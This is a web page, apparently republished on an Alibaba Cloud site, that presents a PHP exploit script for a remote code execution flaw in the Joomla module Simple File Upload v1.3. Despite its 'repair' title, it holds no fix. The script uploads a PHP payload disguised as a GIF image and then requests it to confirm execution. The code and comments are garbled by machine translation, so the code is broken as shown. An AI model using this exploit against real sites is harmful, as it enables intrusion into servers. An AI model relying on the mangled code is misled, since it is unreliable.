Joomla module Simple File Upload v1.3 Remote Code Execution defects and repair

Source: Internet
Author: User

 

<? PHP

 

 

/*

 

--------------------------------------------------------------------------------

 

Title: Simple File Upload v1.3 (module for joomla) Remote Code Execution Exploit

 

--------------------------------------------------------------------------------

Author: gmda www.2cto.com gmda [at] email [dot] it

Website: http://www.gmda.altervista.org/

Address: http://wasen.net/downloads/mod_simpleFileUpload.1.3.zip

Affected Versions: 1.3

Test Platform: winxp php version 5.3.2 Apache 2.0

 

 

* The setup of the module is no captcha other setups are the default *

 

 

+ ------------------------------------------------------------------------- +

 

| Only for technical exchange, at your own risk |

 

+ ------------------------------------------------------------------------- +

 

 

The vulnerability is closed to transmit malformed packets to the server that he still plays and saves in his belly.

 

This thing can be a bad intent to send commands to the server running clearly causing safety problems ........

 

The script has peroblemi upload quality control .....

 

 

 

*/

 

 

 

$ Host = "127.0.0.1 ";

 

$ Port = 80;

 

$ Shell = "R0lGOC8qLyo8P3BocCBwYXNzdGhydSgnY2FsYycpPz4vKg = ";

 

$ ContentType = "image/gif ";

 

$ Post = "POST http://www.bkjia.com/Joomla_1.5.23_ita-Stable_test_expl/index. php ";

 

$ Fp = fsockopen ($ host, $ port, $ errno, $ errstr, 30 );

 

$ Filename = "file. php5 ";

 

If (! $ Fp) die ($ errstr. $ errno); else {

 

 

$ Data = "----------------------------- 41184676334 \ r \ n ";

 

$ Data. = "Content-Disposition: form-data; name = \" MAX_FILE_SIZE \ "\ r \ n ";

 

$ Data. = "\ r \ n ";

 

$ Data. = "100000 \ r \ n --------------------------- 41184676334 \ r \ n ";

 

$ Data. = "Content-Disposition: form-data; name = \" sfuFormFields44 \ "\ r \ n ";

 

$ Data. = "\ r \ n ";

 

$ Data. = "----------------------------- 41184676334 \ r \ n ";

 

$ Data. = "Content-Disposition: form-data; name = \" uploadedfile44 [] \ "; filename = \" file. php5 \ "\ r \ nContent-Type: image/gif \ r \ n ";

 

$ Data. = base64_decode ($ shell). "\ r \ n ";

 

$ Data. = "----------------------------- 41184676334 -- \ r \ n ";

 

$ Packet = "$ post HTTP/1.1 \ r \ n ";

 

$ Packet. = "Host:". $ host. ":". $ port. "\ r \ n ";

 

$ Packet. = "Content-Type: multipart/form-data; boundary = ------------------------- 41184676334 \ r \ n ";

 

$ Packet. = "Content-Length:". strlen ($ data). "\ r \ n ";

 

$ Packet. = "Connection: Close \ r \ n ";

 

$ Packet. = $ data;

 

 

Fwrite ($ fp, $ packet );

 

Fclose ($ fp );

 

 

}

 

 

$ H = @ fopen ("http: //". $ host. "/Joomla_1.5.23_ita-Stable_test_expl/images/file. php5", "r ");

 

If ($ h ){

 

While ($ buf = fgets ($ h, 4096 ))! = False ){

 

Echo $ buf;

 

Echo ("exploit was successful ");

 

}

 

 

Fclose ($ h );

 

} Else {

 

Echo ("Error: exploit fail ");

 

}

 

?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.